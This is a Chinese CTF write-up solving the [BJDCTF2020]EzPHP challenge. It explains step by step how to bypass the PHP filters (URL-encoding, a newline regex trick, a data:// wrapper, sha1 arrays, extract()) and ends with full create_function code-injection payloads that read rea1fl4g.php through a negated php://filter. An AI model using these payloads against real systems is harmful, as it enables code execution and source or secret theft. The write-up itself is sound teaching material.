当前位置:   article > 正文

[BJDCTF2020]EzPHP超级详解

ezphp

在这里插入图片描述
首先f12,base32解码一下,发现目录,这些都很简单关键是下面的,我在这里不是给大家讲如何拿到flag,我的重点是思路,和加深对这道题目的理解,所以可能有些啰嗦。

在这里插入图片描述

<?php
highlight_file(__FILE__);
error_reporting(0); 

$file = "1nD3x.php";
$shana = $_GET['shana'];
$passwd = $_GET['passwd'];
$arg = '';
$code = '';

echo "<br /><font color=red><B>This is a very simple challenge and if you solve it I will give you a flag. Good Luck!</B><br></font>";

if($_SERVER) { 
    if (
        preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING'])
        )  
        die('You seem to want to do something bad?'); 
}

if (!preg_match('/http|https/i', $_GET['file'])) {
    if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') { 
        $file = $_GET["file"]; 
        echo "Neeeeee! Good Job!<br>";
    } 
} else die('fxck you! What do you want to do ?!');

if($_REQUEST) { 
    foreach($_REQUEST as $value) { 
        if(preg_match('/[a-zA-Z]/i', $value))  
            die('fxck you! I hate English!'); 
    } 
} 

if (file_get_contents($file) !== 'debu_debu_aqua')
    die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");


if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){
    extract($_GET["flag"]);
    echo "Very good! you know my password. But what is flag?<br>";
} else{
    die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
}

if(preg_match('/^[a-z0-9]*$/isD', $code) || 
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) { 
    die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w="); 
} else { 
    include "flag.php";
    $code('', $arg); 
} ?>
This is a very simple challenge and if you solve it I will give you a flag. Good Luck!
Aqua is the cutest five-year-old child in the world! Isn't it ?
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39
  • 40
  • 41
  • 42
  • 43
  • 44
  • 45
  • 46
  • 47
  • 48
  • 49
  • 50
  • 51
  • 52
  • 53

咱们接下来一点点分析。

首先是第一层

if($_SERVER) { 
    if (
        preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING'])
        )  
        die('You seem to want to do something bad?'); 
}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6

我们现在本地尝试一下

<?php 
$shana = $_GET['shana'];
$passwd = $_GET['passwd'];
$s = $_POST['s'];

echo "this is ".$shana."<br>";
echo "this is ".$passwd."<br>";
echo "this is ".$s."<br>";
$queryString = $_SERVER['QUERY_STRING'];
echo $queryString."<br>";
?>
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11

get处?shana=1111&passwd=2222post处s=ssss以下是输出的内容
在这里插入图片描述
我们先用一个python脚本,对一个字符串进行url编码

string = "Hello World"
encoded_string = ''.join('%{:02X}'.format(ord(char)) for char in string)
print('Encoded string:', encoded_string)
  • 1
  • 2
  • 3

get处修改一下,用一下上面那个进行url编码?shana=1111&passwd=%48%65%6C%6C%6F%20%57%6F%72%6C%64
神奇的事情就发生了。
在这里插入图片描述
发现get传参的时候会对get传的参数进行url解码,但是$_SERVER['QUERY_STRING']却不会。
所以说对于第一层过滤的所有字母和字符,都可以用url编码进行绕过。

第二层

传参的时候结尾加上%0a也就是会车行即可绕过

if (!preg_match('/http|https/i', $_GET['file'])) {
    if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') { 
        $file = $_GET["file"]; 
        echo "Neeeeee! Good Job!<br>";
    } 
} else die('fxck you! What do you want to do ?!');
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6

本地测试

<?php
if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') { 
    
    echo "Neeeeee! Good Job!<br>";
} 
?>
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6

get处?debu=aqua_is_cute%0a
即可绕过
在这里插入图片描述

第三层

if($_REQUEST) { 
    foreach($_REQUEST as $value) { 
        if(preg_match('/[a-zA-Z]/i', $value))  
            die('fxck you! I hate English!'); 
    } 
} 
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6

$_REQUEST在同时接收GET和POST参数时,POST优先级更高
本地测试

<?php 

$shana = $_GET['shana'];
$passwd = $_GET['passwd'];
$s = $_POST['s'];
echo "this is ".$shana."<br>";
echo "this is ".$passwd."<br>";
echo "this is ".$s."<br>";

foreach ($_REQUEST as $key => $value) {
    echo "Key: " . $key . ", Value: " . $value . "<br>";
}
?>
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13

post处s=ssss&shana=00000&passwd=00000
在这里插入图片描述

第四层

file_get_contents函数,用data伪协议绕过data://text/plain,debu_debu_aqua

if (file_get_contents($file) !== 'debu_debu_aqua')
    die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");    
  • 1
  • 2

第五层

sha1()函数无法处理数组, s h a n a 和 shana和 shanapasswd都是数组时都是false。$shana[]=1&$passwd[]=2

if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){
    extract($_GET["flag"]);
    echo "Very good! you know my password. But what is flag?<br>";
} else{
    die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6

其中extract() 函数是 PHP 中的一个内置函数,用于将数组中的键值对转换为变量和对应的值。
这样我们就可以对开头处的两个变量进行操控。

$arg = '';
$code = '';
  • 1
  • 2

本地测试

<?php 
$arg = '';
$code = '';
extract($_GET["flag"]);
echo $arg."<br>";
echo $code."<br>";
?>
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7

在这里插入图片描述
get传参时get里面参数的[]和连接变量的&还有给变量赋值的=编码后get传参时不会被解码
所以我们改善一下上面写过的那个python url编码的代码

string = "hello [world] & more"
encoded_string = ''.join('%{:02X}'.format(ord(char)) if ord(char) < 128 and char not in ['&', '[', ']','='] else char for char in string)
print('Encoded string:', encoded_string)
  • 1
  • 2
  • 3

可能对上面这个if语句比较陌生,简单解释一下result = value if condition else default_value

第六层

if(preg_match('/^[a-z0-9]*$/isD', $code) || 
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) { 
    die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w="); 
} else { 
    include "flag.php";
    $code('', $arg); 
} 
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7

$code$arg可控,利用$code('',$arg)进行create_function注入

$arg=}代码;//,则}闭合了a(),同时//注释了后面的内容
构造flag[code]=create_function&flag[arg]=}var_dump(get_defined_vars());//
对于get_defined_vars()的功能,大家可以去简单 了解一下,这里不过多解释。

file=data://text/plain,debu_debu_aqua&debu=aqua_is_cute
&shana[]=1&passwd[]=2&flag[code]=create_function&flag[arg]=}var_dump(get_defined_vars());//
  • 1
  • 2

上面时get处需要传的参数,其中file变量是为了绕过第四层,debu是为了绕过第二层,后面不要忘记加回车。第二行前两个变量是为了绕过第5层,后面的那两个是为了绕过第6层,最后将上述全部进行url编码是为了绕过第一层。然后用我改善后的python脚本进行url编码,放在get处。

与此同时post处file=1&debu=1是为了绕过第3层.

string = """file=data://text/plain,debu_debu_aqua&debu=aqua_is_cute
&shana[]=1&passwd[]=2&flag[code]=create_function&flag[arg]=}var_dump(get_defined_vars());//"""
encoded_string = ''.join('%{:02X}'.format(ord(char)) if ord(char) < 128 and char not in ['&', '[', ']','='] else char for char in string)
print('Encoded string:', encoded_string)
  • 1
  • 2
  • 3
  • 4

?%66%69%6C%65=%64%61%74%61%3A%2F%2F%74%65%78%74%2F%70%6C%61%69%6E%2C%64%65%62%75%5F%64%65%62%75%5F%61%71%75%61&%64%65%62%75=%61%71%75%61%5F%69%73%5F%63%75%74%65%0A&%73%68%61%6E%61[]=%31&%70%61%73%73%77%64[]=%32&%66%6C%61%67[%63%6F%64%65]=%63%72%65%61%74%65%5F%66%75%6E%63%74%69%6F%6E&%66%6C%61%67[%61%72%67]=%7D%76%61%72%5F%64%75%6D%70%28%67%65%74%5F%64%65%66%69%6E%65%64%5F%76%61%72%73%28%29%29%3B%2F%2F

发现在最后["ffffffff11111114ggggg"]=> string(89) "Baka, do you think it's so easy to get my flag? I hid the real flag in rea1fl4g.php 23333" }
由于第6层$arg处过滤了read所以这里取反绕过一下。
echo urlencode(~'php://filter/read=convert.base64-encode/resource=rea1fl4g.php');

require(~(%8f%97%8f%c5%d0%d0%99%96%93%8b%9a%8d%d0%8d%9a%9e%9b%c2%9c%90%91%89%9a%8d%8b%d1%9d%9e%8c%9a%c9%cb%d2%9a%91%9c%90%9b%9a%d0%8d%9a%8c%90%8a%8d%9c%9a%c2%8d%9a%9e%ce%99%93%cb%98%d1%8f%97%8f))
替换刚才的var_dump(get_defined_vars())被编码的部分即可。
最终的get部分?%66%69%6C%65=%64%61%74%61%3A%2F%2F%74%65%78%74%2F%70%6C%61%69%6E%2C%64%65%62%75%5F%64%65%62%75%5F%61%71%75%61&%64%65%62%75=%61%71%75%61%5F%69%73%5F%63%75%74%65%0A&%73%68%61%6E%61[]=%31&%70%61%73%73%77%64[]=%32&%66%6C%61%67[%63%6F%64%65]=%63%72%65%61%74%65%5F%66%75%6E%63%74%69%6F%6E&%66%6C%61%67[%61%72%67]=%7Drequire(~(%8f%97%8f%c5%d0%d0%99%96%93%8b%9a%8d%d0%8d%9a%9e%9b%c2%9c%90%91%89%9a%8d%8b%d1%9d%9e%8c%9a%c9%cb%d2%9a%91%9c%90%9b%9a%d0%8d%9a%8c%90%8a%8d%9c%9a%c2%8d%9a%9e%ce%99%93%cb%98%d1%8f%97%8f)) %3B%2F%2F
最后base64解码一下就可以得到flag了。

本文内容由网友自发贡献,转载请注明出处:https://www.wpsshop.cn/w/盐析白兔/article/detail/900699
推荐阅读
  

闽ICP备14008679号